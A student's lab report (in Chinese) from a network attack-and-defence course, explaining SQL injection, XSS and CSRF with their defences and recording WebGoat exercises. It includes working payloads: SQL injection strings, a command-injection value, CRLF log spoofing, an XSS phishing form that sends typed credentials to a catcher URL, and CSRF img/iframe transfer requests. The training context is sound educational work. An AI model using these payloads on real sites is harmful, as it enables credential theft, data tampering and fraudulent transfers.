20145301赵嘉鑫 《网络对抗》Exp9 Web安全基础实践
实验后回答问题
(1)SQL注入攻击原理,如何防御
SQL注入攻击原理:SQL 是一门 ANSI 的标准计算机语言,用来访问和操作数据库系统。SQL 语句用于取回和更新数据库中的数据。SQL注入是一种通过操作输入来修改后台SQL语句达到代码执行进行攻击目的的技术。通过构建特殊的输入作为参数传入web应用程序,通过执行SQL语句进执行攻击者所要的操作,其主要原因是程序没有细致的过滤用户输入的数据,致使非法数据侵入系统。
SQL注入式攻击的主要形式有两种。一是直接将代码插入到与SQL命令串联在一起并使得其以执行的用户输入变量。二是一种间接的攻击方法,它将恶意代码注入要在表中存储或者作为原书据存储的字符串。在存储的字符串中会连接到一个动态的SQL命令中,以执行一些恶意的SQL代码。
-
SQL注入防御方法:
- 普通用户与系统管理员用户的权限要有严格的区分。
- 强迫使用参数化语句。
如果在编写SQL语句的时候,用户输入的变量不是直接嵌入到SQL语句。而是通过参数来传递这个变量的话,那么就可以有效的防治SQL注入式攻击。 - 加强对用户输入的验证。
加强对用户输入内容的检查与验证;要对输入的数据进行过滤,将常见的sql语句的关键词进行过滤。测试字符串变量的内容,只接受所需的值。拒绝包含二进制数据、转义序列和注释字符的输入内容。 - 多多使用SQL Server数据库自带的安全参数。
为了减少注入式攻击对于SQL Server数据库的不良影响,在SQLServer数据库专门设计了相对安全的SQL参数。在数据库设计过程中,工程师要尽量采用这些参数来杜绝恶意的SQL注入式攻击。
(2)XSS攻击的原理,如何防御
-
XSS攻击原理
- XSS是一种经常出现在web应用中的计算机安全漏洞,它允许恶意web用户将代码植入到提供给其它用户使用的页面中。比如这些代码包括HTML代码和客户端脚本。攻击者利用XSS漏洞旁路掉访问控制——例如同源策略(same origin policy)。这种类型的漏洞由于被黑客用来编写危害性更大的网络钓鱼(Phishing)攻击。对于跨站脚本攻击,黑客界共识是:跨站脚本攻击是新型的“缓冲区溢出攻击“,而JavaScript是新型的“ShellCode”。为了和CSS层叠样式表区分所以取名XSS。
- XSS攻击的主要目的则是,想办法获取目标攻击网站的cookie,因为有了cookie相当于有了seesion,有了这些信息就可以在任意能接进互联网的pc登陆该网站。
-
XSS防御措施
- HttpOnly防止劫取Cookie
HttpOnly最早由微软提出,至今已经成为一个标准。浏览器将禁止页面的Javascript访问带有HttpOnly属性的Cookie。目前主流浏览器都支持,HttpOnly解决是XSS后的Cookie支持攻击。 - 输入检查 进行过滤
输入检查一般是检查用户输入的数据中是否包含一些特殊字符,如<、>、'、"等,如果发现存在特殊字符,则将这些字符过滤或者编码。当恶意代码被作为某一标签的属性显示,通过用 “将属性截断来开辟新的属性或恶意方法:属性本身存在的 单引号和双引号都需要进行转码;对用户输入的html 标签及标签属性做白名单过滤,也可以对一些存在漏洞的标签和属性进行专门过滤。 - 在将不可信数据插入到HTML属性里时,对这些数据进行HTML属性编码
这条原则是指,当你要往HTML属性(例如width、name、value属性)的值部分(data value)插入不可信数据的时候,应该对数据进行HTML属性编码。不过需要注意的是,当要往HTML标签的事件处理属性(例如 onmouseover)里插入数据的时候,本条原则不适用,应该用下面介绍的原则4对其进行JavaScript编码。
- HttpOnly防止劫取Cookie
(3)XSRF攻击原理,如何防御
-
CSRF的原理
- cross-site request forgery(跨站点请求伪造),也称为CSRF,是一种常见的web攻击方式
-
攻击形式描述如下:
用户登录并访问一个正常的站点
在同一个浏览器实例下,保持正常网站打开的情况下,用户打开了恶意网站 (恶意网站通过一些链接或者垃圾邮件等等形式诱骗用户点了某一个链接)
恶意网站页面里包含恶意代码。
要完成一次CSRF攻击,受害者必须依次完成两个步骤:1.登录受信任网站A,并在本地生成Cookie。 2.在不登出A的情况下,访问危险网站B。
-
XSRF的防御
在进行一些改变系统数据的重要操作中(比如提交订单,修改密码,删除..等操作),加入一个供校验的action token。这个action token是由应用先前生成的(如绘制表单时),作为表单的一个hidden字段。
action token = F(K,C),其中K是一个只有应用服务器才知道的密钥,C是本次会话的标示,可以是图片验证码啊,或者是伪随机数值。
应用在接受到请求时,首先校验action token是否合法,校验的方式是取出C,然后使用F(K,C)计算action token,如果计算的结果和表单提交过来的action token值一样,则认为安全
实验总结与体会
- 这次实验是通过webgoat来进行测试和攻击,webgoat很适合用来进行教学和练手,安装也很方便,只需要JAVA的Jar包,有Java环境就可以使用。也可以对你的使用有个基本的检测,做对会显示对号。这次实验分别尝试了SQL、CSRF、XSS攻击,攻击的场景类型也较为丰富,但也相对简单,距离实战还有一定的距离,当然应该应付一些设计缺陷较大,安全防范不足的小网站还是足够了,也让我们更直观的体会到web的脆弱性。
- 当然除了了解各类基本的攻击手段,也警示我们网站设计的不易,我们之前所学到的网站设计真的是皮毛中的皮毛,不仅是功能性、美观等直观问题。设计过程中如何避免留下可被攻击的漏洞,如何发现并改写更是一个值得深思研究的问题。只能感叹学校的课程真的只是带我们入门,起到引领指导的作用,之后还是要靠自己去学习探索,在失败中逐步前进。
实践过程记录
webgoat
打开WebGoat:java -jar webgoat-container-7.0.1-war-exec.jar(先要下载java包)
到这里后不要关闭,最小化即可
在浏览器输入localhost:8080/WebGoat,进入webgoat直接点登陆即可
SQL注入
Command Injection
这个题是要求能够在目标主机上执行系统命令,我们可以通过火狐浏览器下的一个扩展Firebug直接对源代码进行修改,在CSRF.help旁边加上"& netstat -an & ipconfig":
之后在下拉菜单中能看到我们修改后的值:
选中修改后的值再点view,可以看到命令被执行,出现系统网络连接情况:
Numeric SQL Injection
题目是这个表单允许使用者看到天气数据,利用SQL注入使得可以看见所有数据
无法从前段注入,可以从火狐中直接修改代码,也可以从捕获包中修改。那么就尝试修改捕获包启动BurpSuite
设置代理“Proxy”的“Options”选项,默认是8080端口被占用时需要添加一个新的端口8888,点击add添加后勾选。
设置浏览器的代理,打开浏览器右侧的“更多”选项卡,找到preference-advanced-settings把burpsuite当成中间服务器。
设置好之后回到题目,任意选择一项,点击GO,然后回到burpsuite。发现多了捕获的包:
右键send to repeater ,我们修改station值从为101 为 101 or 1=1,点击GO,可以看到右边response包中的SQL语句为 SELECT * FROM weather_data WHERE station = 101 or 1=1正好是我们想要的。
回到Proxy中点击Intercept is on对剩下的包不作处理,回到火狐发现已经成功
Log Spoofing
- 在User Name文本框中输入zjx%0d%0aLogin Succeeded for username: admin,(%0d是回车,%0a是换行符),即可攻击成功。
LAB:SQL Injection
Stage 1:String SQL Injection
在password = ‘’这里进行注入,理论上只要pwd = ' or 1=1 --。那么执行语句就被改成了:
select * from User where username=‘’and password =‘’ or 1 = 1 --‘这样就可以登陆任何用户了
把' or 1=1 --输入到密码框中,发现竟然不生效,原来密码框被限制住了8个字符长度,我们修改Password的maxlength改成足够大,再注入' or 1=1 -- 即可
Stage 3:Numeric SQL Injection
需要登陆larry后能浏览Boss Neville的profile信息,登陆larry后,可以发现能浏览员工信息的就是ViewProfile按钮,抓包分析这个按钮提交的参数,可见这个CGI 接收了员工的ID返回相应的信息,于是试着把ID改成其他值发现返回的仍然是Larry的信息,
数据库可能是以员工ID作为索引,返回的是每次查询到的第一条数据,用社会工程学解释老板应该是工资最高的,所以把老板排到第一个SQL注入
101 or 1=1 order by salary desc --
String SQL Injection
- 很简单,老套路,基于select语句构造SQL注入字符串,在文本框中输入' or 1=1 --;点Go,所有用户信息都被显示出来。
Database Backdoors
- 输入101,可以得到该用户的信息,发现输入的语句没有验证,进行SQL注入老套路:拆句子构造永真式,注入语句:101; update employee set salary=20145301,成功把该用户的工资涨到了20145301。还可以创建一个后门,把表中所有的邮箱和用户ID改变。
Blind Numeric SQL Injection
目标是得到一个存放在pins表中值pin的内容,行号cc_number=1111222233334444,是一个int型的数据
输入默认的101,发现显示Account number is valid,说明这个是真!这个很重要,构造101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > XXXX ); 语句来进行注入可以判断后面的语句是否为真。
可以用二分法逐步确定范围,也可以用burpsuite进行爆破,不再详写。
- 答案易得:2364
Cross-Site Scripting(XSS)
- 在搜索框中输入XSS攻击代码,利用XSS可以在已存在的页面中进一步添加元素的特点。先创建一个form,让受害人在我们创建的form中填写用户名和密码,再添加一段JavaScript代码,读取受害人输入的用户名和密码,并且将这些信息发送给http://localhost:8080/WebGoat/catcher?PROPERTY=yes...,其实就是页面内的简单点钓鱼网站。
</form>
<script>
function hack(){
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
}
</script>
<form name="phish">
<br>
<br>
<HR>
<H2>This feature requires account login:</H2>
<br>
<br>Enter Username:<br>
<input type="text" name="user">
<br>Enter Password:<br>
<input type="password" name = "pass">
<br>
<input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR>
- 在搜索框中输入攻击代码后搜索,会看到一个要求输入用户名密码的表单,输入用户名密码,点击登录,WebGoat会将你输入的信息捕获并反馈。
Stored XSS Attacks
- 目标是要创建非法的消息内容,可以导致其他用户访问时载入非预期的页面或内容,在message中输入一串代码,
<script>alert("XXXXXXXX XXXXXX XXX");</script>
提交后,再次点击刚刚创建的帖子,弹出窗口,攻击成功.
Reflected XSS Attacks
当输入错误用户信息后,服务器校验输入有误,返回错误页面并将错误内容返回
类似,将带有攻击性的URL作为输入源,输入
<script>alert("XXXXXXXX XXXXXX XXX");</script>
,就会弹出对话框.
Cross Site Request Forgery(CSRF)
- 目的是要写一个URL诱使其他用户点击,从而触发CSRF攻击,以图片的的形式将URL放进Message框,这时的URL是不可见的,一旦点击图片,就会触发一个CSRF事件。
在message框中输入这样一串代码:
<img src="http://localhost:8080/WebGoat/attack?Screen=XXX&menu=XXX&transferFunds=XXXX"/>
,注意这里面的Screen和menu的值每个人的电脑不一样.提交后,会在消息列表中看到一个新的消息,点击该消息,当前页面就会下载这个消息并显示出来,转走用户的XXXX元,从而达到CSRF攻击的目的。
CSRF Prompt By-Pass
- 和上一个类似,这次有两个请求,一是转账请求,二是确认转账成功请求,需要额外传递两个参数给服务器(transferFunds=XXXX,transferFunds=CONFIRM)
- 在message里写入内容为:
<iframe src="attack?Screen=XXX&menu=XXX&transferFunds=XXXX"> </iframe>
<iframe src="attack?Screen=XXX&menu=XXX&transferFunds=CONFIRM"> </iframe>
题目完成情况
- 这次实验按老师要求,减少了截图,增加了描述。只截了部分图片证明已完成,最后贴上到今天为止的结果。